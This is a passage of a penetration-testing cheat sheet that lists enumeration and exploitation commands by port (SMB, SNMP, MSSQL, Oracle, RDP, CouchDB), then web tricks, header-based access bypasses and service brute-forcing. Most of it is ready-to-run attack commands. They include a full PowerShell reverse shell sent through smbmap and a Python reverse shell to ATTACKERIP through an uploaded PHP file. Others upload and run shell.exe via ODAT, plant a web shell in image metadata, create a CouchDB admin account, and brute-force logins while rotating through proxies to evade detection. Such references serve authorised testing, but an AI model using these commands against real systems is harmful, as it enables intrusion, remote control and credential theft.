---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------- | ----------------------------------------- | | ROUTER | Remote Access | mprdim.dll | 8f09f000-b7ed-11ce-bbd2-00001a181cad v0.0 | | ------ | ------------- | ---------- | ----------------------------------------- | | samr (lsass alias) | [samr](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_samr.html) interface | lsass.exe | 12345778-1234-abcd-ef00-0123456789ac v1.0 | | ------------------ | ------------------------------------------------------------------------------------------------------------------------------ | --------- | ----------------------------------------- | | scerpc | [SceSvc](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_sce.html) | services.exe | 93149ca2-973b-11d1-8c39-00c04fb984f9 v0.0 | | ------ | --------------------------------------------------------------------------------------------------------------------- | ------------ | ----------------------------------------- | | SECLOGON | [ISeclogon](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_seclogon.html) interface (Secondary logon service) | seclogon | 12b81e99-f207-4a4c-85d3-77b42f76fd14 v1.0 | | -------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------- | ----------------------------------------- | | SfcApi | [sfcapi](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_sfcapi.html) interface (Windows File Protection) | winlogon.exe | 83da7c00-e84f-11d2-9807-00c04f8ec850 v2.0 | | ------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------ | ----------------------------------------- | | spoolss | [spoolss](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_spoolss.html) interface (Spooler service) | spoolsv.exe | 12345678-1234-abcd-ef00-0123456789ab v1.0 | | ------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ | ----------- | ----------------------------------------- | | srvsvc (ntsvcs alias) | [srvsvc](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_srvsvc.html) interface (Server service) | services.exe (w2k) or svchost.exe (wxp and w2k3) | 4b324fc8-1670-01d3-1278-5a47bf6ee188 v3.0 | | --------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------ | ----------------------------------------- | | ssdpsrv | [ssdpsrv](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_ssdpsrv.html) interface (SSDP service) | ssdpsrv | 4b112204-0e19-11d3-b42b-0000f81feb9f v1.0 | | ------- | --------------------------------------------------------------------------------------------------------------------------------------------------- | ------- | ----------------------------------------- | | svcctl (ntsvcs alias) | [svcctl](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_svcctl.html) interface (Services control manager) | services.exe | 367aeb81-9844-35f1-ad32-98f038001003 v2.0 | | --------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------ | ----------------------------------------- | | tapsrv | [tapsrv](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_tapsrv.html) interface (Telephony service) | Tapisrv | 2f5f6520-ca46-1067-b319-00dd010662da v1.0 | | ------ | ------------------------------------------------------------------------------------------------------------------------------------------------------ | ------- | ----------------------------------------- | | trkwks | [trkwks](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_trkwks.html) interface (Distributed Link Tracking Client) | Trkwks | 300f3532-38cc-11d0-a3f0-0020af6b0add v1.2 | | ------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------ | ----------------------------------------- | | W32TIME (ntsvcs alias) | [w32time](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_w32time.html) interface (Windows Time (Windows 2000 and XP)) | w32time | 8fb6d884-2388-11d0-8c35-00c04fda2795 v4.1 | | ---------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------- | ----------------------------------------- | | W32TIME\_ALT | [w32time](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_w32time.html) interface (Windows Time (Windows Server 2003, Windows Vista)) | w32time | 8fb6d884-2388-11d0-8c35-00c04fda2795 v4.1 | | ------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------- | ----------------------------------------- | | winlogonrpc | [GetUserToken](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_winlogon_w2k.html) interface | winlogon.exe | a002b3a0-c9b7-11d1-ae88-0080c75e4ec1 v1.0 | | ----------- | ---------------------------------------------------------------------------------------------------------------------------------------------- | ------------ | ----------------------------------------- | | winreg | [winreg](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_winreg.html) interface (Remote registry service) | RemoteRegistry | 338cd001-2244-31f1-aaaa-900038001003 v1.0 | | ------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------ | -------------- | ----------------------------------------- | | winspipe | [winsif](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_winsif.html) interface (WINS service) | wins.exe | 45f52c28-7f9f-101a-b52b-08002b2efabe v1.0 | | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | -------- | ----------------------------------------- | | wkssvc (ntsvcs alias) | [wkssvc](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_wkssvc.html) interface (Workstation service) | services.exe (w2k) or svchost.exe (wxp and w2k3) | 6bffd098-a112-3610-9833-46c3f87e345a v1.0 | | --------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------ | ----------------------------------------- | ## Port 139/445 - SMB ```bash # Enum hostname enum4linux -n 10.11.1.111 nmblookup -A 10.11.1.111 nmap --script=smb-enum* --script-args=unsafe=1 -T5 10.11.1.111 # Get Version smbver.sh 10.11.1.111 Msfconsole;use scanner/smb/smb_version ngrep -i -d tap0 's.?a.?m.?b.?a.*[[:digit:]]' smbclient -L \\\\10.11.1.111 # Get Shares smbmap -H 10.11.1.111 -R echo exit | smbclient -L \\\\10.11.1.111 smbclient \\\\10.11.1.111\\ smbclient -L //10.11.1.111 -N nmap --script smb-enum-shares -p139,445 -T4 -Pn 10.11.1.111 smbclient -L \\\\10.11.1.111\\ # If got error "protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED" smbclient -L //10.11.1.111/ --option='client min protocol=NT1' # Check null sessions smbmap -H 10.11.1.111 rpcclient -U "" -N 10.11.1.111 smbclient //10.11.1.111/IPC$ -N # Exploit null sessions enum -s 10.11.1.111 enum -U 10.11.1.111 enum -P 10.11.1.111 enum4linux -a 10.11.1.111 #https://github.com/cddmp/enum4linux-ng/ enum4linux-ng.py 10.11.1.111 -A -C /usr/share/doc/python3-impacket/examples/samrdump.py 10.11.1.111 # Connect to username shares smbclient //10.11.1.111/share -U username # Connect to share anonymously smbclient \\\\10.11.1.111\\ smbclient //10.11.1.111/ smbclient //10.11.1.111/ smbclient //10.11.1.111/<""share name""> rpcclient -U " " 10.11.1.111 rpcclient -U " " -N 10.11.1.111 # Check vulns nmap --script smb-vuln* -p139,445 -T4 -Pn 10.11.1.111 # Multi exploits msfconsole; use exploit/multi/samba/usermap_script; set lhost 192.168.0.X; set rhost 10.11.1.111; run # Bruteforce login medusa -h 10.11.1.111 -u userhere -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -M smbnt nmap -p445 --script smb-brute --script-args userdb=userfilehere,passdb=/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt 10.11.1.111 -vvvv nmap –script smb-brute 10.11.1.111 # nmap smb enum & vuln nmap --script smb-enum-*,smb-vuln-*,smb-ls.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-print-text.nse,smb-psexec.nse,smb-security-mode.nse,smb-server-stats.nse,smb-system-info.nse,smb-protocols -p 139,445 10.11.1.111 nmap --script smb-enum-domains.nse,smb-enum-groups.nse,smb-enum-processes.nse,smb-enum-sessions.nse,smb-enum-shares.nse,smb-enum-users.nse,smb-ls.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-print-text.nse,smb-psexec.nse,smb-security-mode.nse,smb-server-stats.nse,smb-system-info.nse,smb-vuln-conficker.nse,smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-regsvc-dos.nse -p 139,445 10.11.1.111 # Mount smb volume linux mount -t cifs -o username=user,password=password //x.x.x.x/share /mnt/share # rpcclient commands rpcclient -U "" 10.11.1.111 srvinfo enumdomusers getdompwinfo querydominfo netshareenum netshareenumall # Run cmd over smb from linux winexe -U username //10.11.1.111 "cmd.exe" --system # smbmap smbmap.py -H 10.11.1.111 -u administrator -p asdf1234 #Enum smbmap.py -u username -p 'P@$$w0rd1234!' -d DOMAINNAME -x 'net group "Domain Admins" /domain' -H 10.11.1.111 #RCE smbmap.py -H 10.11.1.111 -u username -p 'P@$$w0rd1234!' -L # Drive Listing smbmap.py -u username -p 'P@$$w0rd1234!' -d ABC -H 10.11.1.111 -x 'powershell -command "function ReverseShellClean {if ($c.Connected -eq $true) {$c.Close()}; if ($p.ExitCode -ne $null) {$p.Close()}; exit; };$a=""""192.168.0.X""""; $port=""""4445"""";$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$port) ;$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize ;$p=New-Object System.Diagnostics.Process ;$p.StartInfo.FileName=""""cmd.exe"""" ;$p.StartInfo.RedirectStandardInput=1 ;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0 ;$p.Start() ;$is=$p.StandardInput ;$os=$p.StandardOutput ;Start-Sleep 1 ;$e=new-object System.Text.AsciiEncoding ;while($os.Peek() -ne -1){$out += $e.GetString($os.Read())} $s.Write($e.GetBytes($out),0,$out.Length) ;$out=$null;$done=$false;while (-not $done) {if ($c.Connected -ne $true) {cleanup} $pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) { $read=$s.Read($nb,$pos,$nb.Length - $pos); $pos+=$read;if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}} if ($pos -gt 0){ $string=$e.GetString($nb,0,$pos); $is.write($string); start-sleep 1; if ($p.ExitCode -ne $null) {ReverseShellClean} else { $out=$e.GetString($os.Read());while($os.Peek() -ne -1){ $out += $e.GetString($os.Read());if ($out -eq $string) {$out="""" """"}} $s.Write($e.GetBytes($out),0,$out.length); $out=$null; $string=$null}} else {ReverseShellClean}};"' # Reverse Shell # Check \Policies\{REG}\MACHINE\Preferences\Groups\Groups.xml look for user&pass "gpp-decrypt " # CrackMapExec crackmapexec smb 10.55.100.0/23 -u LA-ITAdmin -H 573f6308519b3df23d9ae2137f549b15 --local crackmapexec smb 10.55.100.0/23 -u LA-ITAdmin -H 573f6308519b3df23d9ae2137f549b15 --local --lsa # Impacket python3 samdump.py SMB 172.21.0.0 # Check for systems with SMB Signing not enabled python3 RunFinger.py -i 172.21.0.0/24 ``` ## Port 161/162 UDP - SNMP ```bash nmap -vv -sV -sU -Pn -p 161,162 --script=snmp-netstat,snmp-processes 10.11.1.111 nmap 10.11.1.111 -Pn -sU -p 161 --script=snmp-brute,snmp-hh3c-logins,snmp-info,snmp-interfaces,snmp-ios-config,snmp-netstat,snmp-processes,snmp-sysdescr,snmp-win32-services,snmp-win32-shares,snmp-win32-software,snmp-win32-users snmp-check 10.11.1.111 -c public|private|community snmpwalk -c public -v1 ipaddress 1 snmpwalk -c private -v1 ipaddress 1 snmpwalk -c manager -v1 ipaddress 1 onesixtyone -c /usr/share/doc/onesixtyone/dict.txt 172.21.0.X # Impacket python3 samdump.py SNMP 172.21.0.0 # MSF aux modules auxiliary/scanner/misc/oki_scanner auxiliary/scanner/snmp/aix_version auxiliary/scanner/snmp/arris_dg950 auxiliary/scanner/snmp/brocade_enumhash auxiliary/scanner/snmp/cisco_config_tftp auxiliary/scanner/snmp/cisco_upload_file auxiliary/scanner/snmp/cnpilot_r_snmp_loot auxiliary/scanner/snmp/epmp1000_snmp_loot auxiliary/scanner/snmp/netopia_enum auxiliary/scanner/snmp/sbg6580_enum auxiliary/scanner/snmp/snmp_enum auxiliary/scanner/snmp/snmp_enum_hp_laserjet auxiliary/scanner/snmp/snmp_enumshares auxiliary/scanner/snmp/snmp_enumusers auxiliary/scanner/snmp/snmp_login ``` ## Port 389,636 - LDAP Check [AD](/post-exploitation/windows/ad) section and this [LDAP](https://malicious.link/post/2022/ldapsearch-reference/) guide ```bash jxplorer ldapsearch -h 10.11.1.111 -p 389 -x -b "dc=mywebsite,dc=com" python3 windapsearch.py --dc-ip 10.10.10.182 --users --full > windapsearch_users.txt cat windapsearch_users.txt | grep sAMAccountName | cut -d " " -f 2 > users.txt # Check # https://github.com/ropnop/go-windapsearch ``` ## Port 443 - HTTPS Read the actual SSL CERT to: * find out potential correct vhost to GET * is the clock skewed * any names that could be usernames for bruteforce/guessing. ```bash ./testssl.sh -e -E -f -p -S -P -c -H -U TARGET-HOST > OUTPUT-FILE.html # Check for mod_ssl,OpenSSL version Openfuck ``` ## Port 500 - ISAKMP IKE ``` ike-scan 10.11.1.111 ``` ## Port 513 - Rlogin ``` apt install rsh-client rlogin -l root 10.11.1.111 ``` ## Port 541 - FortiNet SSLVPN [Fortinet Ports Guide](https://help.fortinet.com/fos50hlp/54/Content/FortiOS/fortigate-ports-and-protocols-54/Images/FortiGate.png) [SSL VPN Leak](https://opensecurity.global/forums/topic/181-fortinet-ssl-vpn-vulnerability-from-may-2019-being-exploited-in-wild/?__cf_chl_jschl_tk__=42e37b31a0585f7dae3dbce18cafde7c39b81976-1578385705-0-AcuYzrPMO1OuMo59JSPYyzZjiXNbMAIl6sKiXwhQRbMUMZq1Kp3VmWqIVXWZdzTZgFCecXue1Z6xXxU-Rql_GT_ovKiar_-i0CUCKFS85bfNXnUzuOuIwomXje-kH87mNbVHzzh9ediRfVWbJjwtO-ttLEYi7quczLlHQk38UqcumrARs77RrK2mj9zOb8Uwhv6av4QZ9od4fgAIl-F4Kff26MPQjs4LRHsgk5zH6RVwFMP8NdOnCrrzkkGH6_R9Dtw89_QtiOsH1nKB0hBDbtJ2O9AkkMDqw7tl1ip_pVDfnw1lvaZtFq1sRqgYwpan-n6n9f58Xdjcj2UGFKdE32OS7Ete8X7RwXUV9FGUSOhAM5_iK0kMNJg3mskrFVQz0lONaZVvFRdf_1rp69J4oRVat1m7KIQEGpRDe4OvYUb7pfQkNKLcK5s_lVIj2SAJQQ) ## Port 1433 - MSSQL ```bash nmap -p 1433 -sU --script=ms-sql-info.nse 10.11.1.111 use auxiliary/scanner/mssql/mssql_ping use auxiliary/scanner/mssql/mssql_login use exploit/windows/mssql/mssql_payload sqsh -S 10.11.1.111 -U sa xp_cmdshell 'date' go EXEC sp_execute_external_script @language = N'Python', @script = N'import os;os.system("whoami")' https://blog.netspi.com/hacking-sql-server-procedures-part-4-enumerating-domain-accounts/ ``` ## Port 1521 - Oracle ```bash oscanner -s 10.11.1.111 -P 1521 tnscmd10g version -h 10.11.1.111 tnscmd10g status -h 10.11.1.111 nmap -p 1521 -A 10.11.1.111 nmap -p 1521 --script=oracle-tns-version,oracle-sid-brute,oracle-brute MSF: good modules under auxiliary/admin/oracle and scanner/oracle # https://github.com/quentinhardy/odat ./odat-libc2.5-i686 all -s 10.11.1.111 -p 1521 ./odat-libc2.5-i686 sidguesser -s 10.11.1.111 -p 1521 ./odat-libc2.5-i686 passwordguesser -s 10.11.1.111 -p 1521 -d XE # Upload reverse shell with ODAT: ./odat-libc2.5-i686 utlfile -s 10.11.1.111 -p 1521 -U scott -P tiger -d XE --sysdba --putFile c:/ shell.exe /root/shell.exe # and run it: ./odat-libc2.5-i686 externaltable -s 10.11.1.111 -p 1521 -U scott -P tiger -d XE --sysdba --exec c:/ shell.exe ``` ## Port 2000 - Cisco sccp ```bash # cisco-audit-tool CAT -h ip -p 2000 -w /usr/share/wordlists/rockyou.txt # cisco-smart-install https://github.com/Sab0tag3d/SIET/ sudo python siet.py -g -i 192.168.0.1 ``` ## Port 2049 - NFS ```bash nmap -p 111,2049 --script nfs-ls,nfs-showmount showmount -e 10.11.1.111 # If you find anything you can mount it like this: mount 10.11.1.111:/ /tmp/NFS –o nolock mount -t nfs 10.11.1.111:/ /tmp/NFS –o nolock ``` ## Port 2100 - Oracle XML DB Default passwords: ## Port 3306 - MySQL ```bash nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse 10.11.1.111 -p 3306 mysql --host=10.11.1.111 -u root -p # MYSQL UDF 4.x/5.0 https://www.adampalmer.me/iodigitalsec/2013/08/13/mysql-root-to-system-root-with-udf-for-windows-and-linux/ ``` ## Port 3389 - RDP ```bash nmap -p 3389 --script=rdp-vuln-ms12-020.nse rdesktop -u username -p password -g 85% -r disk:share=/root/ 10.11.1.111 rdesktop -u guest -p guest 10.11.1.111 -g 94% ncrack -vv --user Administrator -P /root/oscp/passwords.txt rdp://10.11.1.111 python crowbar.py -b rdp -s 10.11.1.111/32 -u admin -C ../rockyou.txt -v ``` ## Port 5432 - PostgreSQL ```bash psql -h 10.10.1.111 -U postgres -W # Default creds postgres : postgres postgres : password postgres : admin admin : admin admin : password pg_dump --host=10.10.1.111 --username=postgres --password --dbname=template1 --table='users' -f output_pgdump ``` ## Port 5900 - VNC ```bash nmap --script=vnc-info,vnc-brute,vnc-title -p 5900 10.11.1.111 ``` ## Port 5984 - CouchDB ```bash curl http://example.com:5984/ curl -X GET http://IP:5984/_all_dbs curl -X GET http://user:password@IP:5984/_all_dbs # CVE-2017-12635 RCE # Create user curl -X PUT ‘http://localhost:5984/_users/org.couchdb.user:chenny' — data-binary ‘{ “type”: “user”, “name”: “chenny”, “roles”: [“_admin”], “roles”: [], “password”: “password” }’ # Dump database curl http://127.0.0.1:5984/passwords/_all_docs?include_docs=true -u chenny:-Xpassword **Skill Level**: Beginner to Advanced\ > **Prerequisites**: HTTP basics, web architecture **Check out in the left submenu what common attack you want review** ![](/files/-M92pwKmnNGTNqUWA0Fd) # General Info ## Auth headers ```bash # Basic Auth (B64) Authorization: Basic AXVubzpwQDU1dzByYM== # Bearer Token (JWT) Authorization: Bearer # API Key GET /endpoint?api_key=abcdefgh123456789 X-API-Key: abcdefgh123456789 # Digest Auth Authorization: Digest username=”admin” Realm=”abcxyz” nonce=”474754847743646”, uri=”/uri” response=”7cffhfr54685gnnfgerg8” # OAuth2.0 Authorization: Bearer hY_9.B5f-4.1BfE # Hawk Authentication Authorization: Hawk id="abcxyz123", ts="1592459563", nonce="gWqbkw", mac="vxBCccCutXGV30gwEDKu1NDXSeqwfq7Z0sg/HP1HjOU=" # AWS signature Authorization: AWS4-HMAC-SHA256 Credential=abc/20200618/us-east-1/execute-api/aws4_ ``` ## Common checks ```bash # robots.txt curl http://example.com/robots.txt # headers wget --save-headers http://www.example.com/ # Strict-Transport-Security (HSTS) # X-Frame-Options: SAMEORIGIN # X-XSS-Protection: 1; mode=block # X-Content-Type-Options: nosniff # Cookies # Check Secure and HttpOnly flag in session cookie # If exists BIG-IP cookie, app behind a load balancer # SSL Ciphers nmap --script ssl-enum-ciphers -p 443 www.example.com # HTTP Methods nmap -p 443 --script http-methods www.example.com # Cross Domain Policy curl http://example.com/crossdomain.xml # allow-access-from domain="*" # Cookies explained https://cookiepedia.co.uk/ ``` ## Security headers explanation ![](/files/-MKKBayvDAl5GAzaSO7O) # Quick tricks ```bash # Web ports for nmap 80,81,300,443,591,593,832,981,1010,1311,1099,2082,2095,2096,2480,3000,3128,3333,4243,4567,4711,4712,4993,5000,5104,5108,5280,5281,5800,6543,7000,7396,7474,8000,8001,8008,8014,8042,8069,8080,8081,8083,8088,8090,8091,8118,8123,8172,8222,8243,8280,8281,8333,8337,8443,8500,8834,8880,8888,8983,9000,9043,9060,9080,9090,9091,9200,9443,9800,9981,10000,11371,12443,16080,18091,18092,20720,55672 # Technology scanner # https://github.com/urbanadventurer/WhatWeb whatweb htttps://url.com # Screenshot web # https://github.com/maaaaz/webscreenshot # https://github.com/sensepost/gowitness # https://github.com/michenriksen/aquatone # Get error with in input %E2%A0%80%0A%E2%A0%80 # Retrieve additional info: /favicon.ico/..%2f /lol.png%23 /../../../ ?debug=1 /server-status /files/..%2f..%2f # Change default header to accept */* Accept: application/json, text/javascript, */*; q=0.01 # Sitemap to wordlist (httpie) http https://target.com/sitemap.xml | xmllint --format - | grep -e 'loc' | sed -r 's|||g' > wordlist_endpoints.txt # Bypass Rate Limits: # Use different params: sign-up, Sign-up, SignUp # Null byte on params: %00, %0d%0a, %09, %0C, %20, %0 # Bypass upload restrictions: # Change extension: .pHp3 or pHp3.jpg # Modify mimetype: Content-type: image/jpeg # Bypass getimagesize(): exiftool -Comment='"; system($_GET['cmd']); ?>' file.jpg # Add gif header: GIF89a; # All at the same time. # ImageTragic (memory leaks in gif preview) # https://github.com/neex/gifoeb ./gifoeb gen 512x512 dump.gif # Upload dump.gif multiple times, check if preview changes. # Check docs for exploiting # If upload from web is allowed or : # https://medium.com/@shahjerry33/pixel-that-steals-data-im-invisible-3c938d4c3888 # https://iplogger.org/invisible/ # https://iplogger.org/15bZ87 # Check HTTP options: # Check if it is possible to upload curl -v -k -X OPTIONS https://10.11.1.111/ # If put enabled, upload: curl -v -X PUT -d '' http://10.11.1.111/test/shell.php nmap -p 80 192.168.1.124 --script http-put --script-args http-put.url='/test/rootme.php',http-put.file='/root/php-reverse-shell.php' curl -v -X PUT -d '' http://VICTIMIP/test/cmd.php && http://VICTIMIP/test/cmd.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22ATTACKERIP%22,443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27 curl -i -X PUT -H “Content-Type: text/plain; charset=utf-8” -d “/root/Desktop/meterpreter.php” http://VICTIMIP:8585/uploads/meterpreter.php # If PUT is not allowed, try to override: X-HTTP-Method-Override: PUT X-Method-Override: PUT # Retrieve endpoints # LinkFinder # https://github.com/GerbenJavado/LinkFinder python linkfinder.py -i https://example.com -d python linkfinder.py -i burpfile -b # Retreive hidden parameters # Tools # https://github.com/s0md3v/Arjun python3 arjun.py -u https://url.com --get python3 arjun.py -u https://url.com --post # https://github.com/maK-/parameth python parameth.py -u https://example.com/test.php # https://github.com/devanshbatham/ParamSpider python3 paramspider.py --domain example.com # https://github.com/s0md3v/Parth python3 parth.py -t example.com # .DS_Store files? # https://github.com/gehaxelt/Python-dsstore python main.py samples/.DS_Store.ctf # Polyglot RCE payload 1;sleep${IFS}9;#${IFS}’;sleep${IFS}9;#${IFS}”;sleep${IFS}9;#${IFS} # Nmap web scan nmap --script "http-*" example.com -p 443 # SQLi + XSS + SSTI '">{{7*7}} ' ==> for Sql injection "> ==> for XSS {{7*7}} ==> for SSTI/CSTI # Try to connect with netcat to port 80 nc -v host 80 # Understand URL params with unfurl https://dfir.blog/unfurl/ ``` # Header injections ## Headers ```bash # Add something like 127.0.0.1, localhost, 192.168.1.2, target.com or /admin, /console Client-IP: Connection: Contact: Forwarded: From: Host: Origin: Referer: True-Client-IP: X-Client-IP: X-Custom-IP-Authorization: X-Forward-For: X-Forwarded-For: X-Forwarded-Host: X-Forwarded-Server: X-Host: X-Original-URL: X-Originating-IP: X-Real-IP: X-Remote-Addr: X-Remote-IP: X-Rewrite-URL: X-Wap-Profile: # Try to repeat same Host header 2 times Host: legit.com Stuff: stuff Host: evil.com # Bypass type limit Accept: application/json, text/javascript, */*; q=0.01 Accept: ../../../../../../../../../etc/passwd{{' # Try to change the HTTP version from 1.1 to HTTP/0.9 and remove the host header # 401/403 bypasses # Whitelisted IP 127.0.0.1 or localhost Client-IP: 127.0.0.1 Forwarded-For-Ip: 127.0.0.1 Forwarded-For: 127.0.0.1 Forwarded-For: localhost Forwarded: 127.0.0.1 Forwarded: localhost True-Client-IP: 127.0.0.1 X-Client-IP: 127.0.0.1 X-Custom-IP-Authorization: 127.0.0.1 X-Forward-For: 127.0.0.1 X-Forward: 127.0.0.1 X-Forward: localhost X-Forwarded-By: 127.0.0.1 X-Forwarded-By: localhost X-Forwarded-For-Original: 127.0.0.1 X-Forwarded-For-Original: localhost X-Forwarded-For: 127.0.0.1 X-Forwarded-For: localhost X-Forwarded-Server: 127.0.0.1 X-Forwarded-Server: localhost X-Forwarded: 127.0.0.1 X-Forwarded: localhost X-Forwared-Host: 127.0.0.1 X-Forwared-Host: localhost X-Host: 127.0.0.1 X-Host: localhost X-HTTP-Host-Override: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Real-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 X-Remote-Addr: localhost X-Remote-IP: 127.0.0.1 # Fake Origin - make GET request to accesible endpoint with: X-Original-URL: /admin X-Override-URL: /admin X-Rewrite-URL: /admin Referer: /admin # Also try with absoulte url https:/domain.com/admin # Method Override X-HTTP-Method-Override: PUT # Provide full path GET GET https://vulnerable-website.com/ HTTP/1.1 Host: evil-website.com # Add line wrapping GET /index.php HTTP/1.1 Host: vulnerable-website.com Host: evil-website.com # Wordlists https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/BurpSuite-ParamMiner/lowercase-headers https://github.com/danielmiessler/SecLists/tree/bbb4d86ec1e234b5d3cfa0a4ab3e20c9d5006405/Miscellaneous/web/http-request-headers ``` ## Tools ```bash # https://github.com/lobuhi/byp4xx ./byp4xx.sh https://url/path # https://github.com/OdinF13/Bug-Bounty-Scripts # https://github.com/mlcsec/headi headi -url http://target.com/admin ``` # Bruteforcing Authentication bruteforcing attacks to guess credentials or bypass login mechanisms. > **Skill Level**: Beginner to Intermediate\ > **Prerequisites**: Basic HTTP understanding, wordlist selection ## Password Identification ```bash # Identify hash type hash-identifier # Name That Hash (better) # https://github.com/HashPals/Name-That-Hash nth --text "5f4dcc3b5aa765d61d8327deb882cf99" # hashid hashid -m '$2a$10$...' # Shows hashcat mode ``` ## Wordlist Generation ```bash # CeWL - Generate wordlist from target website cewl https://target.com -d 3 -m 5 -w custom_wordlist.txt cewl https://target.com --with-numbers -d 3 -w wordlist.txt # Generate password variations # https://github.com/edoardottt/longtongue python3 longtongue.py -w base_words.txt -o passwords.txt # Username wordlist from names # https://github.com/AhmedMohamedDev/namemash.py python namemash.py names.txt > usernames.txt ``` ## HTTP Bruteforcing ### Hydra ```bash # HTTP GET Form hydra -L users.txt -P passwords.txt target.com http-get-form \ "/login:username=^USER^&password=^PASS^:F=Invalid credentials" # HTTP POST Form hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com http-post-form \ "/login:user=^USER^&pass=^PASS^:F=Login failed" -V # HTTPS POST Form hydra -l admin -P passwords.txt target.com -s 443 -S https-post-form \ "/login:username=^USER^&password=^PASS^:F=Incorrect" # Basic Auth hydra -L users.txt -P passwords.txt target.com http-get /admin # With cookies hydra -l admin -P passwords.txt target.com http-post-form \ "/login:user=^USER^&pass=^PASS^:F=failed:H=Cookie: session=abc123" ``` ### ffuf ```bash # POST login form ffuf -w users.txt:USER -w passwords.txt:PASS \ -u https://target.com/login \ -X POST -d "username=USER&password=PASS" \ -H "Content-Type: application/x-www-form-urlencoded" \ -fc 401 -mc 200,302 # With rate limiting ffuf -w passwords.txt -u https://target.com/login \ -X POST -d "user=admin&pass=FUZZ" \ -rate 10 -fc 401 ``` ### Patator ```bash # HTTP POST patator http_fuzz url=https://target.com/login method=POST \ body='{"user":"admin","password":"FILE0"}' \ 0=/path/to/passwords.txt \ accept_cookie=1 follow=1 \ -x ignore:fgrep='Invalid' # HTTP Basic Auth patator http_fuzz url=https://target.com/admin \ user_pass=FILE0:FILE1 \ 0=users.txt 1=passwords.txt \ -x ignore:code=401 ``` ## Service Bruteforcing ### SSH ```bash hydra -l root -P passwords.txt ssh://target.com hydra -L users.txt -P passwords.txt target.com ssh -t 4 # Medusa medusa -h target.com -u root -P passwords.txt -M ssh # Ncrack ncrack -p 22 --user root -P passwords.txt target.com ``` ### RDP ```bash hydra -l administrator -P passwords.txt rdp://target.com ncrack -p 3389 --user administrator -P passwords.txt target.com # Crowbar (RDP specific) crowbar -b rdp -s target.com/32 -u admin -C passwords.txt -n 1 ``` ### FTP ```bash hydra -L users.txt -P passwords.txt ftp://target.com hydra -l anonymous -P passwords.txt target.com ftp ``` ### SMB ```bash hydra -L users.txt -P passwords.txt smb://target.com crackmapexec smb target.com -u users.txt -p passwords.txt ``` ### Database Services ```bash # MySQL hydra -l root -P passwords.txt mysql://target.com # PostgreSQL hydra -l postgres -P passwords.txt postgres://target.com # MSSQL hydra -l sa -P passwords.txt mssql://target.com # MongoDB nmap -p 27017 --script mongodb-brute target.com ``` ### Other Services ```bash # SNMP hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp # SMTP hydra -l user@target.com -P passwords.txt smtp://target.com # POP3 hydra -l user -P passwords.txt pop3://target.com # IMAP hydra -l user -P passwords.txt imap://target.com ``` ## Evasion Techniques ```bash # Slow down requests hydra -l admin -P passwords.txt target.com http-post-form "/login:..." -t 1 -w 3 # Random User-Agent hydra ... -e nsr # Try null, same as login, reversed # IP rotation (via proxychains) proxychains hydra -l admin -P passwords.txt target.com http-post-form "/login:..." # Add delays between requests ffuf -w passwords.txt -u https://target.com/login -p 0.5-1.0 ``` ## Password Spraying ```bash # Single password against many users 